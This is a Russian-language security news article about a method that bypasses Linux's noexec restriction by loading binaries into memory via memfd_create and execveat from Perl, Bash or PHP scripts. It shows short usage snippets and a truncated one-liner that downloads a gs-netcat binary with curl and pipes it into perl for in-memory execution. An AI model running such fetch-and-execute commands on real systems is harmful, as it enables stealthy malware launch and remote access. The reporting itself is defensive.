Защита Linux пробита: noexec оказался неэффективен

Защита Linux пробита: noexec оказался неэффективен

Раскрыт способ обхода защиты через обычные скрипты.

image

Исследователи обнаружили новый способ обхода флага noexec в Linux, позволяющий выполнять произвольные бинарные файлы даже на разделах, где выполнение запрещено. Это возможно с помощью сценариев на Perl, Bash и PHP, которые не требуют выполнения прав root и позволяют загружать и исполнять бинарные файлы напрямую из интернета, обходя ограничения noexec.

Один из ключевых аспектов заключается в том, что бинарный файл не обязательно должен быть помечен как исполняемый (+x) и может находиться на разделе с установленным флагом noexec. Это особенно полезно для ситуаций, когда все доступные для записи разделы смонтированы с параметром -o noexec, включая /dev/shm. Метод работает даже в окружениях, где PHP имеет ограничения на использование функций 'exec'.

Решение основано на инъекции shellcode в работающий процесс, используя системные вызовы memfd_create и execveat, что позволяет загружать бинарный файл из памяти. Как отмечают исследователи, это обходное решение также работает в средах, где запрещено выполнение системных вызовов в Bash и PHP, применяя обновлённый метод для обхода этих ограничений.

Пример на Perl показывает, как можно выполнить команду 'id', не прибегая к правам root:

source memexec-perl.sh
  cat /usr/bin/id | memexec -u
  

На Bash это можно сделать подобным образом:

source memexec-bash.sh
  cat /usr/bin/id | memexec
  

Интересной особенностью метода является возможность загрузки бинарных файлов непосредственно из интернета в оперативную память и выполнения их, несмотря на активированные ограничения на выполнение (noexec). Это может быть использовано злоумышленниками для незаметной загрузки и запуска вредоносных программ через команды типа:

curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | perl -efor(319,279){...}
  

Метод позволяет эффективно обходить ограничения на выполнение команд в PHP с помощью аналогичных сценариев, что представляет собой серьезную уязвимость для систем, использующих такие ограничения для защиты от вредоносного кода.

Исследователи продолжают анализировать подход и его возможные последствия для безопасности Linux-систем, подчёркивая важность внедрения дополнительных мер защиты для предотвращения использования такого метода в реальных атаках. Также рекомендуется проверять доступ к системным вызовам и ограничивать их использование, особенно в средах с повышенными требованиями к безопасности.

Квантовый кот Шрёдингера ищет хозяина!

Живой, мертвый или в суперпозиции? Узнайте в нашем канале

Откройте коробку любопытства — подпишитесь